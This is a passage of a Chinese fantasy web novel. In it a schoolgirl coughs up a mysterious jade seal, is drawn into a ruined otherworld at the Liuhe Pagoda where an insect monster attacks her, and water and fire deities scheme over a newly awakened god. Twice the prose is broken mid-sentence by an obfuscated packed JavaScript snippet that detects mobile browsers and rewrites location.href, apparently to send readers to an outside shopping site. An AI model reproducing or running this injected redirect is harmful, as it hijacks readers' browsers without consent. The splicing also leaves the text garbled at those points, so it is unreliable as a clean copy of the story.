这八点档的社会新闻播得和狗血刑侦片一样。于子夜听了一耳朵什么窒息而亡,什么尸体高度腐烂,什么老婆哭求警方追责男方在外包养的小三,顿觉食欲全无。 “吃,多吃点!这蛋羹这顿得吃完,不然下顿就坏了。”大伯母丝毫不受新闻影响,十分大方地给于子夜碗里舀了一大勺蛋羹。 在冰箱里放了一天的的鸡蛋羹带着腥味,冰冰凉凉地滑进胃里,于子夜吃了一口就胃痛:“我端去热一热。” 这么囫囵吞下口中东西,一不留神,喉咙竟被什么卡住了。于子夜猛烈咳嗽,推开凳子一下站起来,伯父伯母条件反射一般,也扔下筷子站了起来。于子夜捂住嘴,朝他们摆摆手,放下蛋羹,冲向了厕所。 奇怪,喉咙里分明是个硬物,但她刚才既没吃鱼,也没吃任何带骨的肉啊? 于子夜扒在洗手池边,一直咳嗽,但嗓子里的异物感上不去也下不来,如鲠在喉。 上小学那几年她经常被父亲带去应酬,被喝得满嘴酒臭的老男人搂着亲她的脸。亲吻一直烙在脸上发烫发臭,父亲又搡着她,让她管那些男人叫干爹。等到代驾把客户接上车,父亲就会蹲在路边,把手指伸到嗓子眼里,把刚才喝下去的酒连着饭菜吐干净。 吐完,他就用袖子擦擦嘴,转头看于子夜:“爸爸全吐干净了,厉不厉害?” 父亲以为于子夜不说话是在担心他,又说:“爸爸没事。”深深感动了他自己。 于子夜打开水龙头,回想着记忆中父亲的做法,将两根手指捅进喉咙口,作呕的感觉翻上来,但刚吃两口,胃里没东西,吐不出来什么。于子夜干呕两声,将手指捅得更深了些。她吐出了两口酸水。 接着,一个硬物从她口中掉出,“当啷”一声砸在洗手池里。 水流哗哗地冲洗着,那东西卡在下水口,拇指盖儿见方大小。于子夜用两根手指把那一方硬物拈起来,六面方体,似乎是玉石质地,还带着她的体温。她翻了个面儿,看到底下有字。 她吐出了一枚玉印。 3. 探宝塔子夜陷迷穽 斩魍魉观音效驰驱 “小姑娘,你这东西多少钱收的?” “三千。” 于子夜穿着钱中校服站在古玩店柜台前。钱中学生喜欢去哪儿都穿着校服,就像新富群体出门一定得拎奢侈品包。据说早年没有打车软件的时候,就连钱塘的出租车司机看到穿钱中校服的,都会打八折。 于子夜平时很排斥这么做,今天出门却是刻意穿上的。 胖伙计摘下眼镜,黄豆大的眼珠滚向她胸口的校徽,又滚回她脸上。伙计叹了口气,把玉印推回她面前:“姑娘,叔叔看你是钱中的,忍不住多念叨你两句。咱们这圈子水太深,你这年纪买古玩,就只有交学费的份!这东西,就是三十收我也嫌多。” “哦,假的啊?”于子夜故作惊讶地问。 伙计笑起来面上的横肉抖了抖:“假得不能再假了!” 她支着脑袋,做出一点虚心请教的好奇样子。 “诺,你看,”伙计被个钱中学生求教的目光看得虚荣心大盛,指着那几个篆字:“知道这几个篆文写的什么吧?从右往左,从上往下读——‘钱塘水都’。知道什么是水都吧?我也不知道,因为根本就没这玩意儿!自古以来只有‘钱塘都水’!都水嘛,就是管理水利的官,你随便去各地博物馆找找,基本都有这官印,从两千年前开始就叫这名儿了!做这瞎货的王八蛋,连点基本文化素养都欠缺,正经圈子都难混,只能骗骗你这种小姑娘啦。” 他转身在书架上翻翻找找,半天找出一本钤印文物图册,翻到一页指给于子夜看:“诺,你看,这个就是战国时期的‘都水印’,阴纹篆书,田字界隔,铜质蛇钮。哦对,这种官印一般都是阴文,你手里的是阳文。知道什么叫阴阳文吧?” 他喋喋不休地科普起来:“阴文就是红底白字刻字内凹,阳文就是白底红字刻字外凸,一般这种正式的官印,都是红底白字……” 于子夜握着玉印走出古玩店,心想,那胖伙计叨叨半天,和我拍照识图搜出来问AI的也没区别,那图册还没数字文物图清晰。 不过她翻遍网页,确实没有找到任何和她手中一样的钤印。 字序相反,或许是“倒文”讹误,又或许是刻意为之,于子夜边走边胡思乱想——比起从自己口中吐出一枚玉石印章来说,印章的刻字难以考证似乎更值得稀奇。 对于旁人来说极为古怪的事情,对于子夜来说总是合乎情理;对旁人来说再正常不过的事情,反倒常令她难以忍受。 比如周六上午半天的健身增肌课。 医生说,于子夜属于瘦型多囊,想要月经和排卵规律,除了吃药调节雄激素和孕激素,更主要的是改善生活方式,运动增肌。于子夜听到大伯在电话里添油加醋地向父亲转述,意思是下个月生活费多给些,要给于子夜报健身私教课。父亲听了之后沉吟片刻说,我在应酬,待会儿再说。 大伯母在吃晚饭的时候看似不经意地又提起这事儿,说你自己去和你爸讲讲你不来月经的事儿,讲讲那医生怎么跟你说的,不然他老以为我们拿你做由头敲他竹杠;再说了,我跟你大伯上网查了,这增肌除了健身的钱,还得吃优质蛋白质,大虾牛肉鸡胸脯什么的,每个月伙食上又是一笔额外的开销。你说这人真是不同命呀,都姓于,怎么就你这孩子这么金贵呢?衣服也要穿牌子的,东西也要□□细的,跑个步还得花钱请教练,我们家那两个从小吃糠咽菜白米饭不也照样个头老大了…… 于子夜不想总是给父亲打这种电话,拿出自己攒的压岁钱去报了私教课,当晚睡觉前便听到伯父伯母在楼下客厅夹娘带姥姥地大骂父亲“精巴”。 于子夜在周六的上午走进满眼肌肉的健身房,只觉得比掉进兔子洞的爱丽丝、进入神隐世界的千寻还局促一万倍。 至少那些奇幻故事的主人公能与异世界的生物语言相通,而她在这个以肌肉块大小和身体线条为语言的世界里,宛若一个聋哑人。 如今人们都很喜欢这种具有视觉冲击性、能直观彰显强大的语言。于子夜不得不承认,她也喜欢,不仅喜欢,还有点隐隐地羡慕、嫉妒。 这种强势的视觉语言与样板大女主绑定,和“你可以成为任何想成为的人”的宣言一起,成为一种模版式的、优越的正义。于子夜早已明白自己一辈子也成不了这种故事的主角。 她天生有一副孱弱瘦小的身体和敏感忧思的性格,她与世界双向的冷漠早已经把这套阳光叙事的UV值都过滤掉了。于子夜抗拒这套紫外线过于强烈的叙事。 然而她没想到,在叙事主动干预她之前,她就不得不主动走向龙门架和哑铃——只是为了成为一个具有正常生理特征的女性。 这种姿态上的投降,和在这个年纪服用避孕药、定期躺到B超床上检查子宫内膜厚度和卵泡数量一样,令她感到无比的羞耻。 羞耻在最轻的哑铃脱手砸到脚的那一瞬间达到了顶峰。 “没事吧?!”教练大惊失色地把她抱到沙发上,蹲身脱下她的运动鞋和袜子,检查她的脚。 店长听到动静,也走了过来,厉声斥责教练:“会员第一天来,你怎么回事?!” 于子夜的脚背肿了,可她看到年轻的女教练比她还紧张,浮粉的额头上布满了汗珠。于是她不动声色地对店长说:“我没事。” 店长狐疑地看了看于子夜的脚,估计是被会员讹惯了,从没见过这么忍气吞声的怂包:“真没事?要不要帮您联系您的家长?” “不用了,”于子夜套上袜子,把脚塞进运动鞋里,朝眉头紧锁的女教练笑了笑:“没关系的,你看,我还能走呢。”她扶着扶手一瘸一拐地下了楼梯。 不想立刻打车回去,伯父伯母看见了肯定又要找教练的麻烦、给父亲打电话、晚上在餐桌上指桑骂槐一条龙。 于子夜去旁边的药店买了镇痛的喷剂,一时不知该往哪里去,她揉着兜里那枚小小的方形玉印和叠成纸豆腐的社团宣传单,突然想起今天下午两点,有观潮社的活动。 地址选在六和塔,离这儿很近。今天既非月初也非十五,更何况钱江起潮点远在离这儿数十公里盐官镇上,就算是大潮日,如今钱塘城内也是看不到一点儿潮水的。估计只是破冰团建之类的。 于子夜打车到了六和塔。从停车场到塔基要走一段台阶,她拖着伤脚不想来回找人,又没扫码加群,在检票口等到了两点整,没见到戴天航,估计他已经在里面,就自己买了票,一步步往上蹭。 走着走着她觉得不对。今天是个普通的休息日,虽说是阴天,也不该台阶上一个人影也没有。好容易爬完台阶,到了塔基,也还是没看到一个人,更没有戴天航的影子。 一看时间,两点十分了,是不是他们已经集合完毕去活动、或者登塔了?又或者“不会取消、风雨无阻”和这世间大多数承诺一样,是用来糊弄傻子的,而她又当真了? 于子夜不抱希望地走向登塔检票口,登塔也要过闸口,可绕道塔侧却不见了金属闸门和安检传送带,只有个戴着古怪黑帽的老人坐在一把木椅上。 于子夜向前一步走进塔内,阴冷的湿气和昏暗的光线将塔内外隔成两个世界。风从背后吹过来,冷嗖嗖的。 “您好,请问刚才有没有一个个子不高,皮肤白,瘦瘦的男生上塔?” 老人的声音和衣服的颜色一样浑浊,半张脸隐在阴影里,摇了摇头。 于子夜转身走出塔内,视野却蓦地一暗——外面天全黑了,狂风卷着败叶,浓云漫天,远天电闪雷鸣。 分明刚才还是阴天,怎么转眼间突然刮这么大的风?如今是冬末春初,怎么倒像夏季傍晚雷阵雨似的? 突然,于子夜发现了更不对劲的地方—— 江面上空无一物,钱塘江大桥竟凭空消失了?! 她眨了眨眼,以为出现了幻觉。可她向更远的江面望去,复兴大桥、之江大桥竟都不见了。就连江对面的高楼大厦也不知所踪,只能看到远天差互劈下的闪电。 于子夜吓得后退一步回撤到塔内,伸出手却没摸到塔墙。再一转头,哪里还有什么宝塔和老人?她所站立之处,只剩下一片荒废的木桩、石柱,从那些断垣残壁八边形的轮廓和不远处一口残破的巨钟,勉强能辨出这儿是六和塔基,那儿是开化寺。 她在做梦么? 赶紧想点什么分神——《盗梦空间》——难道从今天早上健身课开始她就在做梦?于子夜用力跺了一下伤脚,差点没把自己痛死。 对了…… 她从兜里摸出那枚印章。难道说这就是她的“骰子”,而梦境开始更早,从昨晚她吐出这枚奇怪的玉印开始,就一直在做梦? 天越来越暗,风越来越大,要把脚下大地和身后的山丘都掀起来。于子夜压低重心躲到一根残破的木柱后面,突然看到刚才那个老人站在不远处。 她咬咬牙,顶着罡风,蹒跚着朝老人走去。这次她看清了老人的面容——一张枯败的脸,嘴唇干裂外翻,辨不出性别。缩水般皱起的眼睑塌成拱桥,几乎把眼白全遮住了。黑色的怪帽子,像古画里的幞头。 “老前辈,塔去哪里了?”于子夜大声问。 “塔?”老人神情木木的。 “六和塔刚才不是还在这里吗?您不是刚才还坐在塔里吗?!” “六和塔……”老人喃喃重复:“六和塔,六和塔……” “铛——” 钟声震响,开化寺旁那口巨钟竟不敲自鸣,震得于子夜脏腑发麻。 “咯咯咯——” 仿佛是被那钟声吸引,老人转过身背对她,身子突然剧烈颤抖起来。 一道闪电劈下,白光乍破。于子夜借光一看,头皮差点儿炸开。 老人的背部下方如孕肚般高高隆起,沉甸甸坠到大腿处,遮住了臀部。那巨卵形动了动,忽地自老人的躯干左右刺出六条长足,将人身撑到了半空中。 一道缝自幞头、后脑中线翻开头皮,一路沿着脊骨往下撕裂至□□,竟把把人的躯干剥成一只白骨为睑、血肉为目的巨大眼球。 老人躯体已经被掰开撑平,反弓的四肢却仍兀自挣扎着,腿脚在空中乱踢,手剧烈捶打着背后的巨腹,似乎想把破出孕肚的东西塞回背腹中。 “滚!滚出去!出去啊啊啊!”老人撕心裂肺的叫喊逐渐被诡异的虫噬声替代。 虫身剧烈颤抖,朝她扑来。 腥风扑面,眼见虫足就要碰到她额头—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509621|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于子夜当机立断,一屁股坐下,闭眼等死。 管它是梦是真,死了就能重开了。 她紧紧闭上双眼。 ……诶?好像不痛? 难道说她又进入下一层梦境了? 于子夜试探着睁开眼,那只血肉模糊的巨眼停在她鼻头前方不到一寸处,老人的躯壳如同塑料肠衣,头发、肠子、红肉黄脂挤作一团搅在眼球里,而瞳孔处正是从那孕肚里破出的东西——一块蠕动着的球状岩石。 于子夜晕了过去。 三尺水化作长绳,在岩睑虫尸倒下前托起女孩抽了出来。 石核似乎瞬间察觉到危险,连忙抛下宿主血肉,六只岩石虫足驾着那石球往树林中狂奔逃命。 澹台敲雪悬于半空,飞出一粒豆大念珠。念珠旋即在空中化水,掠至的瞬间便将那石身穿得孔隙如麻。岩睑虫仍在向前狂奔,却跑得越来越慢,突然间虫足一折,转眼石核崩溃,化作黑色语芥溃散如尘。 水珠功成身退,飞回敲雪腕间,安静归作珠串上一粒念珠。 敲雪将女孩放到地上,探她鼻息,松了口气,突然察觉到什么,神情一凛。 “观音。”她声音冷得吓人。 乾坤袋一动,被点名的那位乖乖爬了出来,刚探出个脑袋,又缩了回去:“外面好冷。” 敲雪指尖弹出三尺水,提着守宫肥大的尾巴把她从袋子里揪了出来。观音四脚悬空,扭了两下便认命了,可怜兮兮地眨着溜圆大眼,泫然欲泣:“水力尊饶命,我尾巴要断了!” 守宫深吸一口气,结果差点被空气中到处漂浮的混沌语芥呛死:“……咳咳咳,这个小千芥怎么没有语境!好呛人!” 敲雪望向天际,闪电隐隐绰绰,已比方才小了许多。她蓦然起身:“我送你回去。” “不要!语尊现在把我送回风露版图,您自己也会被他们捉住的!语尊别怪石和尊,是我自己听到您与祂商量设计下狱、用天语石提前唤醒新神连结钱塘,才偷偷爬进乾坤袋里跟着你来的。我……我必须来!” 敲雪看不得一条守宫粉口大张扭着肥尾巴向自己求饶,只得换了“众生眼”看她。 果然生物看自己的物种才有体型概念,敲雪以观音人形瞧她才有了对比。石和尊着实太会带孩子,短短数十年未见,观音跟着旭松,已经从小瘦囡被喂成个大胖妞了。 敲雪道:“你大了,能耐了。” 观音咬着唇,脸颊眼眶都红了,低声道:“……我也想为师父师祖报仇!” “我不是来报仇的。你师父残骸在望竹轩里埋着,这儿没你的事。” 谁料观音竟被说得扑簌簌滚下两行泪来。敲雪眼角抽了抽。观音哽咽道:“……水力尊,我已经不是小孩子了,你要做什么,我都可以帮你的。” 敲雪沉吟片刻:“我不负责给你收尸。” 她冷言冷语,神色未变,观音却听得一喜,破涕为笑:“谢谢语尊!” 守宫的肥尾巴左摇右摆,在敲雪的众生眼中瞧起来,一条披帛无风起皱,胡飘乱摆,简直要晃出残影。 敲雪不再理会她,将三尺水化作一张水网,捞起地上那一摊模糊的血肉。观音只见周围黑乎乎的语芥都如飞蝇般向那血肉攒聚,须臾便凝成方才形容枯瘦的人形,只是没了背后坠胀的石肚,整个人都瘪了下去,像一张人皮套。 “好久不见。”敲雪冷声道。 老人突然疯癫地笑起来,发出尖细的笑声,枯脸上挤出个千娇百媚的神情:“奴家哪里敢骗圣上!那金兀术已经破了城门了,呵呵呵……” 敲雪把水网一松,那刚凝起来的骨肉又烂泥似地瘫了下去。敲雪重又捞起来。这次老人目眦尽裂,嘶声高呼:“渡江!渡江!渡江!” 敲雪摇摇头,又试了数十次。观音在一旁看着,见她出手毫不留情,撤水网的速度一次快于一次,那摊骨肉脂肪下落多次,已被摔打成肉泥,匀称得简直可以直接拿去包饺子。 观音心道,此地语芥已混沌到如此程度,水力尊随手抓一把语芥就往那人皮套里塞,便是填鸭也没有这么填的。她再这么试下去如同沙海淘金,也不知要试到何时。 正思忖着,那重新被聚回来的老人突然显得精神百倍,目光坚定如炬:“May the Force be with you.” 敲雪看向观音:“他说什么?” 观音五百多年前才通过的语者资格测试,因着师门关系要避嫌,师姨敲雪无法作为她的主试,但在准备测试那几年她可没少挨敲雪的训。此刻她以为敲雪又在考自己基本功,结合上下文冥思苦想片刻,嗫嚅道:“……没这佛寺,庇未之有?” 敲雪忖了片刻,觉得要找的人没这么有文化,再次撤掉了水网。 观音不知敲雪还要这样试多久,但外面着实太冷,畏寒的本能使守宫把什么长幼有序全抛到了脑后,一溜烟儿钻进敲雪衣襟中,顺着她胸腹一路蹿到颈窝。 这一爬到高处,观音舒服了——既暖和,又柔软,还冷香幽盈。守宫深吸一口新鲜空气,盘起尾巴,向天边举目远眺。 这一眺,差点把她花了数百年养肥的尾巴吓给断了。 4. 御火木赴义假御火 众生眼留取真众生 远天炸开一朵雷云,焰光把风都烧出丹雘,熊熊而来。 观音心头一凛:“不好!来的是火语者——是风露版图的追兵!” 她是语力微小、以妙用语芥取胜的水语者,而这个小千芥显然荒废已久,没有风露版图的须弥界那样包裹天地的外部语境、能让她自如调动水语芥,此刻观音十分本事也只能使出三分,却还是毫不犹豫从敲雪肩上跳下,挡在她身前,以自身魂芥撑开一道水伞盾。 守宫身体躬起、四肢紧绷、尾巴直竖,摆出了十足的攻击姿态。眼见那朵红云越来越近,观音前肢后侧小孔已酿出毒液,被两指凉意轻轻按回腺孔。 观音侧过头。敲雪收指,眉间含战意,迎风抬眼道:“你觉得,来人想要我出手么?” 观音还没反应过来,敲雪已飞身出去。 但见钱塘江心处陡然旋起一股水柱,眨眼间上腾作一条鳞甲分明的水龙,张牙舞爪地向那火球扑将上去。火球也不避,赤拉拉烧过来,迎头便撞! 两下一交,只听得惊天动地一声响,顿时爆出漫天巨莲般的白汽,如滚汤扑在熔铁上,白茫茫一片,遮得江天都没了颜色。 白雾未散,水龙已潜。一片雾霭迷蒙中,观音远远看见个柱状黑影自钱江上空缓缓下坠,落于江心。柱是一横,上有一点。一点一横渐灰渐近,只见敲雪足尖点于圆木上,如桴一叶,迤迤然向岸边漂来。 观音看呆了,磕磕巴巴道:“……火、火火,火克尊。” 敲雪用水语芥给她传了个噤声咒,观音一回神,这才又看清敲雪身侧还用水绳绑着另一位火语者,金光灿灿的,还没死,正是火真尊精卫的身边的阳鸾。 观音瞬间反应过来,忙不迭糯糯哭道:“呀,哎呀,火克尊死了!水力尊,我们是不是完蛋了?呜啊啊啊,又是叛出,又是杀死主神,铁定要遭天罚了!呜呜……” “够了。”敲雪对她无声做口型。 观音的眼泪挂在眼眶边要掉不掉,下一秒,她酝酿已久的毒液已经射进了阳鸾眼中,阳鸾鸟头一歪,昏死过去。敲雪道:“做得好。” 观音抹掉眼泪,在那黑咕隆咚的圆木上来回爬了一圈:“火克尊?火——啊!” 熊熊真火骤然燃起,观音一下跳出几米远,龇牙咧嘴地舔着被烫到的指爪,咿咿呜呜地掉眼泪——这次是真的疼哭了。 方才的死木被焰光托着悬空立起来,还没立稳,冷不丁被敲雪用三尺水劈了一道:“火克尊,收敛些,她刚蜕完皮。” “哟,小朋友,对不住啊,我以为还在演呢,”丹木瞅着昏死在地的金鸾,叹道:“作孽啊。对不起了,金鸾。” 焦黑的神木抽出枝条揉了揉三尺水留下的劈痕,邪笑道:“不过今日来得值啊!虽说是作秀,不料水力尊居然还会那么张牙舞爪的招式,可把本尊结结实实吓了一跳!这在风露版图再呆上一万年也见不着!真是小刀剌屁股——” 敲雪不理会它,问观音道:“你的毒液能撑多久?” 观音有点不好意思,害羞道:“对不起……刚才有点紧张,毒液射多了,它大概能睡……” 她小小声道:“……十年。” 丹木翻了个白眼:“本尊带金鸾来,就是特意留着做信使飞回风露版图给他们报信的!这位小友你倒好,直接让它睡十年,难不成我的死讯要十年后才传回风露版图?在那之前他们就以为金鸾和我一起跟你们叛逃了吧!” 敲雪道:“你确实是叛逃。” 丹木辩道:“喂!本尊被你水力尊杀死,是因公殉职不是叛逃!殉职能留美名还能在神龛里留位三百年,叛逃可是龛毁像灭!本尊可不想我那完美的金身神像被人砸个稀巴烂扔出须弥界……呃,水力尊,别那样看着我。本尊在说我自己,绝对没有含沙射影任何人。” 敲雪问:“观音,可有解毒液?” 观音做错了事,正愧疚呢,忙点头:“有的有的,能让它尽快醒来……但是我得恢复一段时间,我,我尽量……” 话音未落,一个金钟水罩瞬间将观音拢住。观音意识到这是敲雪用自身魂芥临时为她搭的水语境,登时拘谨得像个陶俑:“语尊不可!这是……” 这个小千芥过于混沌,既无天然语境,亦无可征用的语芥——原本自然存在的少量语芥都已被混沌魍魉污染了。 相比之下,风露版图被“须弥界”这个天然语境笼罩,语芥极为纯净,对于长期生活在须弥界中的语者来说,进入这里无异于骤然进入一个令人窒息的毒气房,只能倚靠长年累月修炼积累在体内的魂语芥构造出魂语境才能正常呼吸。 因而每一次出招都是在消耗、每一次呼吸都是倒计时。 而敲雪把自己的魂芥抽出一部分给她搭语境,等于是在潜入深海时与她共用一个肺部呼吸了。 “抓紧调息。”敲雪打断观音,又将那水语境移得靠近丹木些,给畏寒的守宫取暖。 那球状语境在地上一蹭,带出一层黄腻腻的人类脂肪,丹木这才注意到地上一滩血肉人皮,冷不丁跳开:“噫!好恶心!水力尊,你在以芥聚魂?别什么都往里头塞啊,这肉身都被混沌魍魉蛀得只剩皮了,还不好好超度一下……哦,难道这鬼和你有旧怨呐?” 敲雪不理会,问道:“石和尊如何了?” 丹木笑了:“大可放心,罪名全在你身上。獬豸台梳理出来的版本是这样的,听着哈——你先打晕石中尊,不知使用何种方法抢走了祂的大部分魂芥,然后狴犴圄劫狱,杀死典狱长和狱卒。 “正在坐牢的石和尊与你交手,同样被你重伤,你用同样的妖术征用石和尊的魂芥替你刺穿须弥界、联结此钱塘,和尊是为了自保,不得已屈服于你的淫威之下交出了魂芥由你驱使。 “现场那道刺穿须弥界的扶桑之路残痕中,都是中和二尊的石语芥,显然是你故意设计、想让罪证都指向中和二尊替你抵罪。须弥界破后,石中尊至今昏迷不醒,石和尊留在原地等候裁决,自愿延长刑期谢罪。这说法,你满意了?” 正如敲雪之前和旭松商定的,旭松向獬豸台隐瞒了以天语石唤醒新神一节。 无论是成与否,都必须向风露版图隐瞒新神的存在。 不知丹木此番前来助她,到底知道多少。 “水力尊,你是不是在好奇本尊知道多少?”下一秒,丹木就贱兮兮地凑上去:“告诉你,本尊全给猜出来了!” 敲雪微抬了一边眉,斜睇丹木。 “事发之后本尊可是第一个被派往现场的,你可烧高香拜谢昨日去的人是我吧!”丹木顿了顿:“不过,就算去的是别人,换个笨点的光看现场那些痕迹还真不一定猜的出来,说来还是本尊太聪明了。” “本尊知你向来自行其是、我行我素,却未曾想你竟胆大包天至此!连天语石这种东西你都敢伙同石和尊瞒天过海地乱用!十二尊之外突然多出来一位新神……你以为封神是种豌豆啊还可以催熟!哎呀呀呀真是亏你想的出来!” 丹木竟自己猜了个八九不离十,那敲雪也没什么好说的了。 丹木满身枝条都写着“我厉害吧”:“水力尊,想不想知道本尊是怎么猜出来的?” 敲雪问:“獬豸台可有加罪于中、和二尊?” 丹木又在她面前自讨了没趣,瘪瘪地说:“水力尊,你自杀回来平反封神之后便一直扮猪吃老虎,兢兢业业执行回收任务六百多年,大家都以为你转性了。你倒好,一朝捅穿须弥界,风露版图现在都乱作一团了,谁还有空管一个老实巴交的石和尊、一个三棒子打不出屁的石中尊?獬豸台昨夜点了一宿的灯商议如何追杀你呢!” “不过你和石和尊这连环计使得滴水不漏,叫人佩服,地方选得更是真真妙极!” 敲雪神色未动,由着丹木大发议论。 “天语石在哪儿不可以用?偏偏狴犴圄那鬼地方看似由扶桑子重兵把守、干净得连一粒可调动的语芥也无,但恰恰因为没有语芥,出事也不会第一时间被对语芥极为敏感的语尊们察觉到。最危险的地方恰是最安全的地方。你和石和尊就是看中了狴犴圄这一点,才故意设计让旭松这么个老实人提前犯事下狱,挑了个虽然离谱但是对祂来说最可信的犯罪理由,然后再由你劫狱,好‘胁迫’祂助你捅穿须弥界,将祂身上的责任脱干净。然而你独独没算到……” “我知火真尊加固语境时在狴犴圄留了语芥。”敲雪打断丹木。 丹木一愣:“知道你还敢……!!” 火真尊精卫是丹木的师父,也是风露版图火语三尊中最强的火语者。 九百年前岚河城征讨神兽文鳐鱼时,精卫被文鳐重伤,之后身体虽然康复,但因头部受伤,神识受损,只识父后一人,也只听这位父神调遣。 “……罢了,一会儿我师父来,你负责扛住她。她如今你也不是不知道,出手完全不认人。我一招一式可都是她教的,打得过她才有鬼了!” “火真尊何时来?”敲雪问。 丹木看了看天际:“估计快了。本尊是先遣,来时师父已在獬豸台调兵遣将。不过她有扶桑之路的加持,不断给她输送语芥;即便你我二人联手,仅靠自身魂芥所储语芥,也必然不是她的对手。” 敲雪不语,望着丹木的魂焰出神。她侧颜如雪如山,此刻被丹木周身阳火映得一片金红,让人生出些亘古寒峰欲烧欲化的错觉。 丹木向来是最耐不住寂寞的,受不了这混沌阴恻之处再叠上如此安静,忍不住开口问:“水力尊,本尊一个中立派,不仅不是水恒尊那神棍‘未来眼’的信徒,当年祂被设计叛出的时候我还站错队了。这次本尊明明是被獬豸台派来追杀你的先锋、还一眼看穿了你做的这离谱勾当,你就一点儿也不好奇,为何本尊却敢冒大不韪反水诸神帮你?” 敲雪道:“你既来了,便是选了;既已选了,何须再问?” 丹木抚掌大笑:“好!好一位‘金口难开水力尊’。从你只有土豆那么高的时候,本尊就看好你这利落乖张的臭脾气,料定此女必成大器!” 本在安然调息的观音闻言睁开了双眼:“……土豆?” “对,土豆。诶小朋友我跟你讲啊,当年水力尊刚被水恒尊带回风露版图的时候,以‘如是观’瞧着,还是个雪玉可爱的人类娃娃,结果本尊换用‘众生眼’一看,诶呦,活脱脱一个小土豆,长得矮,又黄又皱,看着气鼓鼓的,再放几天都能发芽了……” 敲雪的三尺水化作利刃劈下去,丹木烧起阳焰隔挡,焰浪“哗”地震开,把敲雪短发掀起,露出的鬓角弧线像工笔宋画一毫一毫描出来的。 “诶,这就急了,怎么对前辈动手!长钟真是没给你好好立过规矩!行了行了,本尊大人有大量,不与你小孩计较。不过水力尊,你就这么相信水恒尊还活着?” 观音紧绷四肢,发出“嘶嘶”的威胁声:“火克尊,师祖是否活着,关你何事!” “哎,我说,你师祖没脾气到了像演出来的地步,倒是你们这些小辈,一个个……我还以为你是最乖的,竟也这样!我说什么了?我不过就问一句嘛!” 丹木大摇其头:“不过说来也是,昼竹都那样了,石和尊还一厢情愿地相信它活着呢,水力尊相信水恒尊活着自然也不奇怪。诶诶,这位小朋友,别凶得把你那大尾巴给摇断掉了,像你这样张着大嘴哈个几万年的气也哈不死我的。” “她的毒液能让你几万年抽不出新枝。”敲雪淡淡道。 “……啊,哈哈,厉害!好生厉害的小朋友。”丹木背后一阵恶寒。它是神木,几万年抽不出新枝等于几万年的修为都无法储为自身魂芥。 “话说,你们接下来计划如何?连未出世的新神也强行唤醒了,须弥界都捅穿了,接下来怎么做,你们不会毫无打算吧?” 丹木漆黑的树皮在黑暗中毕毕剥剥地烧着。一片静默。丹木瞥向观音,观音瞥向敲雪。敲雪一言不发。 丹木:…… 丹木环顾四周:“咳,很好,没打算也没关系。这儿没有成形的语境,据本尊推断,‘此钱塘’非‘彼钱塘’,不是獬豸台要回收的那个中千芥。对吧?” 观音点了点头。 丹木露出“不愧是我”的骄傲火光:“本尊还猜,我们现在待的这个钱塘,和当年的岚河城一样,是个出于不明原因没被风露版图观测到的小千芥废墟——唔,就像树上被好果挡住的烂果。” 九百年前岚河城一役,文鳐鱼孤身对战精卫、兑震二尊与数千扶桑子。 这一战打得翻江倒海、地动山摇,虽说最终以文鳐寡不敌众、身死魂灭,岚河城被彻底碾为废墟告结,却也将整个“海沙”中千芥翻搅得了无生气、语境全破。在死气沉沉、了无动静的两三百年过去后,风露版图决定回收语芥干涸的海沙,而作为海沙这个中千芥内包含的小千芥,岚河城行将一起被回收。 可就在回收的前夕,怪事发生了。岚河城奇迹般死而复生——这个小千芥的废墟不仅在一夕之间重新生长出了完整、独立的语境,还如同果实成熟坠地般,从扶桑树的枝头脱落。 但岚河城没有坠地。这个小千芥球顺着树干下落了一段距离,便开始沿整棵扶桑巨树做着迅速而不规则的绕行,从树根到树顶、从南梢到北枝,永无止息。它仿佛在用这种不规则的轨迹丈量着扶桑树的尺度。 这场绕行持续了五百年,獬豸台也对此束手无策了五百年。 扶枢院设计出的方案有从外部捕捉、有试图以扶桑之路进入内部回收、有拖网捕捞……最后都以失败告终。 渐渐地,岚河城的绕行已经成为了风露版图的一道独特景观。从远处望去,一树相叠的芥球乖顺地长在扶桑树虬结通天的枝桠上,只有岚河城如一粒耀眼的珠玉,在枝桠间往复穿梭、昼夜不息。 岚河城的死而复生、坠落与逃逸至今无法解释,但它确实避免了被回收的命运。 “水力尊,你是不是在想,如果我们能找到办法使‘此钱塘’这个小千芥球像岚河城一样死而复生、重新长出语境,那么即使‘彼钱塘’语芥干涸混沌,作为包含‘此钱塘’的中千芥球,獬豸台就没有理由将它回收。水力尊,本尊猜得不错吧?” 敲雪只是揉着腕间念珠,没理它。 丹木接着道:“嗯,看来全给猜中了,果然什么都逃不过本尊的法眼。此举虽险,额,胜算也几乎为零……不过勇气可嘉!你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509622|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好是有备选计划。对了,新神呢?我们该去哪里找祂?” 敲雪和观音看着躺在地上的瘦小女孩。 丹木:? 丹木:“我现在退出,把你们两个捉拿归案还来得及吗?” 敲雪道:“她的尊号是‘勇’,前头有个‘后’字。” “后勇,嘶,后勇……”丹木念了几遍,突然惊得周身焰尖都不动了:“等等……后?你是说,她的尊号里有‘后’?是……” 敲雪点头。和风露版图的创世神的尊号一样——父后的‘后’。 丹木自言自语道:“这不可能……这搞错了吧?如果是真的,这可是风露版图创世以后第一次出现二字尊号!!不对不对,‘后’可是风露版图、三千大千芥真正的主人,已经有了父后,怎么可能突然又来一个人类小女孩?!一定是天语石出错了!” 